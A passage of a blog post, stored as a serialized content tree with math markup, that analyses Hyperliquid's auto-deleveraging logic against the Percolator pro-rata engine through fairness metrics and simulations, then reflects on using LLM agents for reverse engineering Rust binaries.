",{"type":19,"tag":27,"props":162052,"children":162054},{"className":162053},[1411,1412],[162055],{"type":19,"tag":168,"props":162056,"children":162058},{"className":162057},[1417],[162059],{"type":19,"tag":168,"props":162060,"children":162062},{"className":162061,"ariaHidden":1423},[1422],[162063,162142],{"type":19,"tag":168,"props":162064,"children":162066},{"className":162065},[1428],[162067,162072,162129,162133,162138],{"type":19,"tag":168,"props":162068,"children":162071},{"className":162069,"style":162070},[1433],"height:0.6891em;vertical-align:-0.15em;",[],{"type":19,"tag":168,"props":162073,"children":162075},{"className":162074},[1439],[162076,162081],{"type":19,"tag":168,"props":162077,"children":162079},{"className":162078,"style":119814},[1439,19043],[162080],{"type":24,"value":47054},{"type":19,"tag":168,"props":162082,"children":162084},{"className":162083},[1456],[162085],{"type":19,"tag":168,"props":162086,"children":162088},{"className":162087},[1461,19097],[162089,162118],{"type":19,"tag":168,"props":162090,"children":162092},{"className":162091},[1466],[162093,162113],{"type":19,"tag":168,"props":162094,"children":162096},{"className":162095,"style":91064},[1471],[162097],{"type":19,"tag":168,"props":162098,"children":162099},{"style":158762},[162100,162104],{"type":19,"tag":168,"props":162101,"children":162103},{"className":162102,"style":1481},[1480],[],{"type":19,"tag":168,"props":162105,"children":162107},{"className":162106},[1486,1487,1488,1489],[162108],{"type":19,"tag":168,"props":162109,"children":162111},{"className":162110},[1439,19043,1489],[162112],{"type":24,"value":1157},{"type":19,"tag":168,"props":162114,"children":162116},{"className":162115},[19200],[162117],{"type":24,"value":19203},{"type":19,"tag":168,"props":162119,"children":162121},{"className":162120},[1466],[162122],{"type":19,"tag":168,"props":162123,"children":162125},{"className":162124,"style":90618},[1471],[162126],{"type":19,"tag":168,"props":162127,"children":162128},{},[],{"type":19,"tag":168,"props":162130,"children":162132},{"className":162131,"style":1618},[1520],[],{"type":19,"tag":168,"props":162134,"children":162136},{"className":162135},[1623],[162137],{"type":24,"value":7905},{"type":19,"tag":168,"props":162139,"children":162141},{"className":162140,"style":1618},[1520],[],{"type":19,"tag":168,"props":162143,"children":162145},{"className":162144},[1428],[162146,162150],{"type":19,"tag":168,"props":162147,"children":162149},{"className":162148,"style":91566},[1433],[],{"type":19,"tag":168,"props":162151,"children":162153},{"className":162152},[1439],[162154],{"type":24,"value":1452},{"type":24,"value":162156}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":19,"tag":27,"props":162158,"children":162160},{"className":162159},[1411,1412],[162161],{"type":19,"tag":168,"props":162162,"children":162164},{"className":162163},[1417],[162165],{"type":19,"tag":168,"props":162166,"children":162168},{"className":162167,"ariaHidden":1423},[1422],[162169,162195],{"type":19,"tag":168,"props":162170,"children":162172},{"className":162171},[1428],[162173,162177,162182,162186,162191],{"type":19,"tag":168,"props":162174,"children":162176},{"className":162175,"style":19038},[1433],[],{"type":19,"tag":168,"props":162178,"children":162180},{"className":162179,"style":19044},[1439,19043],[162181],{"type":24,"value":119312},{"type":19,"tag":168,"props":162183,"children":162185},{"className":162184,"style":1618},[1520],[],{"type":19,"tag":168,"props":162187,"children":162189},{"className":162188},[1623],[162190],{"type":24,"value":486},{"type":19,"tag":168,"props":162192,"children":162194},{"className":162193,"style":1618},[1520],[],{"type":19,"tag":168,"props":162196,"children":162198},{"className":162197},[1428],[162199,162203],{"type":19,"tag":168,"props":162200,"children":162202},{"className":162201,"style":91566},[1433],[],{"type":19,"tag":168,"props":162204,"children":162206},{"className":162205},[1439],[162207],{"type":24,"value":1442},{"type":24,"value":162209}," means everyone loses the same fraction of their PNL. ",{"type":19,"tag":27,"props":162211,"children":162213},{"className":162212},[1411,1412],[162214],{"type":19,"tag":168,"props":162215,"children":162217},{"className":162216},[1417],[162218],{"type":19,"tag":168,"props":162219,"children":162221},{"className":162220,"ariaHidden":1423},[1422],[162222,162249],{"type":19,"tag":168,"props":162223,"children":162225},{"className":162224},[1428],[162226,162230,162235,162239,162245],{"type":19,"tag":168,"props":162227,"children":162229},{"className":162228,"style":19038},[1433],[],{"type":19,"tag":168,"props":162231,"children":162233},{"className":162232,"style":19044},[1439,19043],[162234],{"type":24,"value":119312},{"type":19,"tag":168,"props":162236,"children":162238},{"className":162237,"style":1618},[1520],[],{"type":19,"tag":168,"props":162240,"children":162242},{"className":162241},[1623],[162243],{"type":24,"value":162244},"≈",{"type":19,"tag":168,"props":162246,"children":162248},{"className":162247,"style":1618},[1520],[],{"type":19,"tag":168,"props":162250,"children":162252},{"className":162251},[1428],[162253,162257],{"type":19,"tag":168,"props":162254,"children":162256},{"className":162255,"style":91566},[1433],[],{"type":19,"tag":168,"props":162258,"children":162260},{"className":162259},[1439],[162261],{"type":24,"value":1452},{"type":24,"value":162263}," means a few get wiped while most are untouched.",{"type":19,"tag":47,"props":162265,"children":162266},{},[162267,162271,162272,162430,162432,162526,162528],{"type":19,"tag":293,"props":162268,"children":162269},{},[162270],{"type":24,"value":158366},{"type":24,"value":30384},{"type":19,"tag":27,"props":162273,"children":162275},{"className":162274},[1411,1412],[162276],{"type":19,"tag":168,"props":162277,"children":162279},{"className":162278},[1417],[162280],{"type":19,"tag":168,"props":162281,"children":162283},{"className":162282,"ariaHidden":1423},[1422],[162284],{"type":19,"tag":168,"props":162285,"children":162287},{"className":162286},[1428],[162288,162293,162368,162373],{"type":19,"tag":168,"props":162289,"children":162292},{"className":162290,"style":162291},[1433],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":19,"tag":168,"props":162294,"children":162296},{"className":162295},[1439],[162297,162302],{"type":19,"tag":168,"props":162298,"children":162300},{"className":162299,"style":92543},[1439,19043],[162301],{"type":24,"value":159091},{"type":19,"tag":168,"props":162303,"children":162305},{"className":162304},[1456],[162306],{"type":19,"tag":168,"props":162307,"children":162309},{"className":162308},[1461,19097],[162310,162356],{"type":19,"tag":168,"props":162311,"children":162313},{"className":162312},[1466],[162314,162351],{"type":19,"tag":168,"props":162315,"children":162317},{"className":162316,"style":106251},[1471],[162318,162335],{"type":19,"tag":168,"props":162319,"children":162321},{"style":162320},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[162322,162326],{"type":19,"tag":168,"props":162323,"children":162325},{"className":162324,"style":1481},[1480],[],{"type":19,"tag":168,"props":162327,"children":162329},{"className":162328},[1486,1487,1488,1489],[162330],{"type":19,"tag":168,"props":162331,"children":162333},{"className":162332,"style":19044},[1439,19043,1489],[162334],{"type":24,"value":3422},{"type":19,"tag":168,"props":162336,"children":162337},{"style":1475},[162338,162342],{"type":19,"tag":168,"props":162339,"children":162341},{"className":162340,"style":1481},[1480],[],{"type":19,"tag":168,"props":162343,"children":162345},{"className":162344},[1486,1487,1488,1489],[162346],{"type":19,"tag":168,"props":162347,"children":162349},{"className":162348,"style":91021},[1439,19043,1489],[162350],{"type":24,"value":158605},{"type":19,"tag":168,"props":162352,"children":162354},{"className":162353},[19200],[162355],{"type":24,"value":19203},{"type":19,"tag":168,"props":162357,"children":162359},{"className":162358},[1466],[162360],{"type":19,"tag":168,"props":162361,"children":162364},{"className":162362,"style":162363},[1471],"height:0.2753em;",[162365],{"type":19,"tag":168,"props":162366,"children":162367},{},[],{"type":19,"tag":168,"props":162369,"children":162371},{"className":162370},[1439],[162372],{"type":24,"value":2012},{"type":19,"tag":168,"props":162374,"children":162376},{"className":162375},[1439],[162377,162382],{"type":19,"tag":168,"props":162378,"children":162380},{"className":162379,"style":92543},[1439,19043],[162381],{"type":24,"value":159091},{"type":19,"tag":168,"props":162383,"children":162385},{"className":162384},[1456],[162386],{"type":19,"tag":168,"props":162387,"children":162389},{"className":162388},[1461,19097],[162390,162419],{"type":19,"tag":168,"props":162391,"children":162393},{"className":162392},[1466],[162394,162414],{"type":19,"tag":168,"props":162395,"children":162397},{"className":162396,"style":140089},[1471],[162398],{"type":19,"tag":168,"props":162399,"children":162400},{"style":159110},[162401,162405],{"type":19,"tag":168,"props":162402,"children":162404},{"className":162403,"style":1481},[1480],[],{"type":19,"tag":168,"props":162406,"children":162408},{"className":162407},[1486,1487,1488,1489],[162409],{"type":19,"tag":168,"props":162410,"children":162412},{"className":162411,"style":19044},[1439,19043,1489],[162413],{"type":24,"value":3422},{"type":19,"tag":168,"props":162415,"children":162417},{"className":162416},[19200],[162418],{"type":24,"value":19203},{"type":19,"tag":168,"props":162420,"children":162422},{"className":162421},[1466],[162423],{"type":19,"tag":168,"props":162424,"children":162426},{"className":162425,"style":90618},[1471],[162427],{"type":19,"tag":168,"props":162428,"children":162429},{},[],{"type":24,"value":162431}," — ",{"type":19,"tag":27,"props":162433,"children":162435},{"className":162434},[1411,1412],[162436],{"type":19,"tag":168,"props":162437,"children":162439},{"className":162438},[1417],[162440],{"type":19,"tag":168,"props":162441,"children":162443},{"className":162442,"ariaHidden":1423},[1422],[162444],{"type":19,"tag":168,"props":162445,"children":162447},{"className":162446},[1428],[162448,162453],{"type":19,"tag":168,"props":162449,"children":162452},{"className":162450,"style":162451},[1433],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":19,"tag":168,"props":162454,"children":162456},{"className":162455},[1439],[162457,162462],{"type":19,"tag":168,"props":162458,"children":162460},{"className":162459,"style":92543},[1439,19043],[162461],{"type":24,"value":159091},{"type":19,"tag":168,"props":162463,"children":162465},{"className":162464},[1456],[162466],{"type":19,"tag":168,"props":162467,"children":162469},{"className":162468},[1461,19097],[162470,162515],{"type":19,"tag":168,"props":162471,"children":162473},{"className":162472},[1466],[162474,162510],{"type":19,"tag":168,"props":162475,"children":162477},{"className":162476,"style":106251},[1471],[162478,162494],{"type":19,"tag":168,"props":162479,"children":162480},{"style":162320},[162481,162485],{"type":19,"tag":168,"props":162482,"children":162484},{"className":162483,"style":1481},[1480],[],{"type":19,"tag":168,"props":162486,"children":162488},{"className":162487},[1486,1487,1488,1489],[162489],{"type":19,"tag":168,"props":162490,"children":162492},{"className":162491,"style":19044},[1439,19043,1489],[162493],{"type":24,"value":3422},{"type":19,"tag":168,"props":162495,"children":162496},{"style":1475},[162497,162501],{"type":19,"tag":168,"props":162498,"children":162500},{"className":162499,"style":1481},[1480],[],{"type":19,"tag":168,"props":162502,"children":162504},{"className":162503},[1486,1487,1488,1489],[162505],{"type":19,"tag":168,"props":162506,"children":162508},{"className":162507,"style":91021},[1439,19043,1489],[162509],{"type":24,"value":158605},{"type":19,"tag":168,"props":162511,"children":162513},{"className":162512},[19200],[162514],{"type":24,"value":19203},{"type":19,"tag":168,"props":162516,"children":162518},{"className":162517},[1466],[162519],{"type":19,"tag":168,"props":162520,"children":162522},{"className":162521,"style":162363},[1471],[162523],{"type":19,"tag":168,"props":162524,"children":162525},{},[],{"type":24,"value":162527}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":19,"tag":27,"props":162529,"children":162531},{"className":162530},[1411,1412],[162532],{"type":19,"tag":168,"props":162533,"children":162535},{"className":162534},[1417],[162536],{"type":19,"tag":168,"props":162537,"children":162539},{"className":162538,"ariaHidden":1423},[1422],[162540],{"type":19,"tag":168,"props":162541,"children":162543},{"className":162542},[1428],[162544,162548],{"type":19,"tag":168,"props":162545,"children":162547},{"className":162546,"style":108375},[1433],[],{"type":19,"tag":168,"props":162549,"children":162551},{"className":162550,"style":91021},[1439,19043],[162552],{"type":24,"value":158605},{"type":19,"tag":20,"props":162554,"children":162555},{},[162556],{"type":24,"value":162557},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":19,"tag":162559,"props":162560,"children":162562},"git-hub-repo-link",{"url":162561},"https://github.com/aeyakovenko/percolator",[],{"type":19,"tag":20,"props":162564,"children":162565},{},[162566,162568,162573],{"type":24,"value":162567},"Given a fixed ",{"type":19,"tag":293,"props":162569,"children":162570},{},[162571],{"type":24,"value":162572},"a priori",{"type":24,"value":162574}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":19,"tag":20,"props":162576,"children":162577},{},[162578,162580,162585,162587,162664],{"type":24,"value":162579},"One prediction that we can make is that Percolator is ",{"type":19,"tag":293,"props":162581,"children":162582},{},[162583],{"type":24,"value":162584},"perfectly fair",{"type":24,"value":162586}," according to this scoring: the ",{"type":19,"tag":27,"props":162588,"children":162590},{"className":162589},[1411,1412],[162591],{"type":19,"tag":168,"props":162592,"children":162594},{"className":162593},[1417],[162595],{"type":19,"tag":168,"props":162596,"children":162598},{"className":162597,"ariaHidden":1423},[1422],[162599],{"type":19,"tag":168,"props":162600,"children":162602},{"className":162601},[1428],[162603,162607],{"type":19,"tag":168,"props":162604,"children":162606},{"className":162605,"style":139813},[1433],[],{"type":19,"tag":168,"props":162608,"children":162610},{"className":162609},[1439],[162611,162616],{"type":19,"tag":168,"props":162612,"children":162614},{"className":162613},[1439,19043],[162615],{"type":24,"value":81834},{"type":19,"tag":168,"props":162617,"children":162619},{"className":162618},[1456],[162620],{"type":19,"tag":168,"props":162621,"children":162623},{"className":162622},[1461,19097],[162624,162653],{"type":19,"tag":168,"props":162625,"children":162627},{"className":162626},[1466],[162628,162648],{"type":19,"tag":168,"props":162629,"children":162631},{"className":162630,"style":91064},[1471],[162632],{"type":19,"tag":168,"props":162633,"children":162634},{"style":90591},[162635,162639],{"type":19,"tag":168,"props":162636,"children":162638},{"className":162637,"style":1481},[1480],[],{"type":19,"tag":168,"props":162640,"children":162642},{"className":162641},[1486,1487,1488,1489],[162643],{"type":19,"tag":168,"props":162644,"children":162646},{"className":162645},[1439,19043,1489],[162647],{"type":24,"value":1157},{"type":19,"tag":168,"props":162649,"children":162651},{"className":162650},[19200],[162652],{"type":24,"value":19203},{"type":19,"tag":168,"props":162654,"children":162656},{"className":162655},[1466],[162657],{"type":19,"tag":168,"props":162658,"children":162660},{"className":162659,"style":90618},[1471],[162661],{"type":19,"tag":168,"props":162662,"children":162663},{},[],{"type":24,"value":162665}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":19,"tag":20,"props":162667,"children":162668},{},[162669,162671,162676],{"type":24,"value":162670},"We are ignoring the ",{"type":19,"tag":293,"props":162672,"children":162673},{},[162674],{"type":24,"value":162675},"a posteriori",{"type":24,"value":162677}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":19,"tag":20,"props":162679,"children":162680},{},[162681],{"type":24,"value":162682},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":19,"tag":36,"props":162684,"children":162686},{"id":162685},"simulations",[162687],{"type":24,"value":162688},"Simulations",{"type":19,"tag":20,"props":162690,"children":162691},{},[162692],{"type":24,"value":162693},"Let's consider the following price scenarios, as we said:",{"type":19,"tag":20,"props":162695,"children":162696},{},[162697],{"type":19,"tag":1344,"props":162698,"children":162701},{"alt":162699,"src":162700},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":19,"tag":20,"props":162703,"children":162704},{},[162705],{"type":24,"value":162706},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":19,"tag":20,"props":162708,"children":162709},{},[162710],{"type":19,"tag":1344,"props":162711,"children":162714},{"alt":162712,"src":162713},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":19,"tag":7050,"props":162716,"children":162718},{"id":162717},"percolator-is-more-optimistic",[162719],{"type":24,"value":162720},"Percolator Is More \"Optimistic\"",{"type":19,"tag":20,"props":162722,"children":162723},{},[162724,162726,162731,162733,162738,162740,162746,162748,162753],{"type":24,"value":162725},"The key difference is what happens to positions. ADL ",{"type":19,"tag":293,"props":162727,"children":162728},{},[162729],{"type":24,"value":162730},"permanently closes",{"type":24,"value":162732}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":19,"tag":293,"props":162734,"children":162735},{},[162736],{"type":24,"value":162737},"withdraw",{"type":24,"value":162739},", but the position stays open. If conditions improve, ",{"type":19,"tag":27,"props":162741,"children":162743},{"className":162742},[],[162744],{"type":24,"value":162745},"Residual",{"type":24,"value":162747}," goes up, ",{"type":19,"tag":27,"props":162749,"children":162751},{"className":162750},[],[162752],{"type":24,"value":81834},{"type":24,"value":162754}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":19,"tag":20,"props":162756,"children":162757},{},[162758,162760,162764],{"type":24,"value":162759},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":19,"tag":293,"props":162761,"children":162762},{},[162763],{"type":24,"value":17641},{"type":24,"value":162765}," per position, though the tradeoff is that fewer traders get to participate.",{"type":19,"tag":20,"props":162767,"children":162768},{},[162769],{"type":19,"tag":1344,"props":162770,"children":162773},{"alt":162771,"src":162772},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":19,"tag":36,"props":162775,"children":162777},{"id":162776},"some-points-to-be-made",[162778],{"type":24,"value":162779},"Some Points to Be Made",{"type":19,"tag":7050,"props":162781,"children":162783},{"id":162782},"percolator-is-indifferent-to-leverage",[162784],{"type":24,"value":162785},"Percolator Is Indifferent to Leverage",{"type":19,"tag":20,"props":162787,"children":162788},{},[162789],{"type":24,"value":162790},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":19,"tag":20,"props":162792,"children":162793},{},[162794],{"type":19,"tag":1344,"props":162795,"children":162798},{"alt":162796,"src":162797},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":19,"tag":7050,"props":162800,"children":162802},{"id":162801},"fairness",[162803],{"type":24,"value":158356},{"type":19,"tag":20,"props":162805,"children":162806},{},[162807],{"type":24,"value":162808},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":19,"tag":20,"props":162810,"children":162811},{},[162812],{"type":19,"tag":1344,"props":162813,"children":162816},{"alt":162814,"src":162815},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":19,"tag":20,"props":162818,"children":162819},{},[162820,162822,162827],{"type":24,"value":162821},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":19,"tag":27,"props":162823,"children":162825},{"className":162824},[],[162826],{"type":24,"value":156858},{"type":24,"value":162828}," we start by fully closing the worst position against the best-performing trader.",{"type":19,"tag":36,"props":162830,"children":162832},{"id":162831},"strengths-and-limitations-of-agents-for-reverse-engineering",[162833],{"type":24,"value":162834},"Strengths and Limitations of Agents for Reverse Engineering",{"type":19,"tag":20,"props":162836,"children":162837},{},[162838],{"type":24,"value":162839},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":19,"tag":7050,"props":162841,"children":162843},{"id":162842},"hooks",[162844],{"type":24,"value":162845},"Hooks",{"type":19,"tag":20,"props":162847,"children":162848},{},[162849,162851,162855],{"type":24,"value":162850},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":19,"tag":293,"props":162852,"children":162853},{},[162854],{"type":24,"value":162842},{"type":24,"value":162856},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":19,"tag":20,"props":162858,"children":162859},{},[162860],{"type":24,"value":162861},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":19,"tag":7050,"props":162863,"children":162865},{"id":162864},"scale",[162866],{"type":24,"value":162867},"Scale",{"type":19,"tag":20,"props":162869,"children":162870},{},[162871],{"type":24,"value":162872},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":19,"tag":20,"props":162874,"children":162875},{},[162876],{"type":24,"value":162877},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":19,"tag":7050,"props":162879,"children":162881},{"id":162880},"whats-next",[162882],{"type":24,"value":162883},"What's next?",{"type":19,"tag":20,"props":162885,"children":162886},{},[162887],{"type":24,"value":162888},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":19,"tag":162559,"props":162890,"children":162891},{"url":156519},[],{"type":19,"tag":20,"props":162893,"children":162894},{},[162895],{"type":24,"value":162896},"The analyzed binary can be found here:",{"type":19,"tag":156839,"props":162898,"children":162901},{"path":162899,"name":156443,"size":162900},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":19,"tag":7050,"props":162903,"children":162905},{"id":162904},"closing-words",[162906],{"type":24,"value":162907},"Closing Words",{"type":19,"tag":20,"props":162909,"children":162910},{},[162911],{"type":24,"value":162912},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":19,"tag":20,"props":162914,"children":162915},{},[162916,162918,162923],{"type":24,"value":162917},"Flagship models got us 60% of the way there, but a lot of ",{"type":19,"tag":293,"props":162919,"children":162920},{},[162921],{"type":24,"value":162922},"manual",{"type":24,"value":162924}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":19,"tag":20,"props":162926,"children":162927},{},[162928],{"type":24,"value":162929},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":19,"tag":20,"props":162931,"children":162932},{},[162933],{"type":24,"value":162934},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":19,"tag":162936,"props":162937,"children":162938},"report-footnotes",{},[162939],{"type":19,"tag":2869,"props":162940,"children":162941},{},[162942,162947,162974,162979,162984],{"type":19,"tag":47,"props":162943,"children":162944},{},[162945],{"type":24,"value":162946},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":19,"tag":47,"props":162948,"children":162949},{},[162950,162956,162958,162964,162966,162972],{"type":19,"tag":27,"props":162951,"children":162953},{"className":162952},[],[162954],{"type":24,"value":162955},"compute_user_margin_and_shortfall",{"type":24,"value":162957}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":19,"tag":27,"props":162959,"children":162961},{"className":162960},[],[162962],{"type":24,"value":162963},"0x748",{"type":24,"value":162965}," in the abstract expressions of ",{"type":19,"tag":27,"props":162967,"children":162969},{"className":162968},[],[162970],{"type":24,"value":162971},"btree_cursor",{"type":24,"value":162973},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":19,"tag":47,"props":162975,"children":162976},{},[162977],{"type":24,"value":162978},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":19,"tag":47,"props":162980,"children":162981},{},[162982],{"type":24,"value":162983},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":19,"tag":47,"props":162985,"children":162986},{},[162987,162989,162995],{"type":24,"value":162988},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":19,"tag":27,"props":162990,"children":162992},{"className":162991},[],[162993],{"type":24,"value":162994},"s3://hl-mainnet-node-data/explorer_blocks",{"type":24,"value":948},{"title":7,"searchDepth":198,"depth":198,"links":162997},[162998,162999,163000,163001,163002,163005,163006,163007,163010,163011,163014,163018],{"id":156389,"depth":198,"text":156392},{"id":156382,"depth":198,"text":156410},{"id":156467,"depth":198,"text":156470},{"id":156748,"depth":198,"text":156751},{"id":156782,"depth":198,"text":156785,"children":163003},[163004],{"id":156921,"depth":415,"text":156924},{"id":157700,"depth":198,"text":157703},{"id":157796,"depth":198,"text":157799},{"id":158014,"depth":198,"text":158017,"children":163008},[163009],{"id":158259,"depth":415,"text":158262},{"id":158319,"depth":198,"text":158322},{"id":162685,"depth":198,"text":162688,"children":163012},[163013],{"id":162717,"depth":415,"text":162720},{"id":162776,"depth":198,"text":162779,"children":163015},[163016,163017],{"id":162782,"depth":415,"text":162785},{"id":162801,"depth":415,"text":158356},{"id":162831,"depth":198,"text":162834,"children":163019},[163020,163021,163022,163023],{"id":162842,"depth":415,"text":162845},{"id":162864,"depth":415,"text":162867},{"id":162880,"depth":415,"text":162883},{"id":162904,"depth":415,"text":162907},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630624]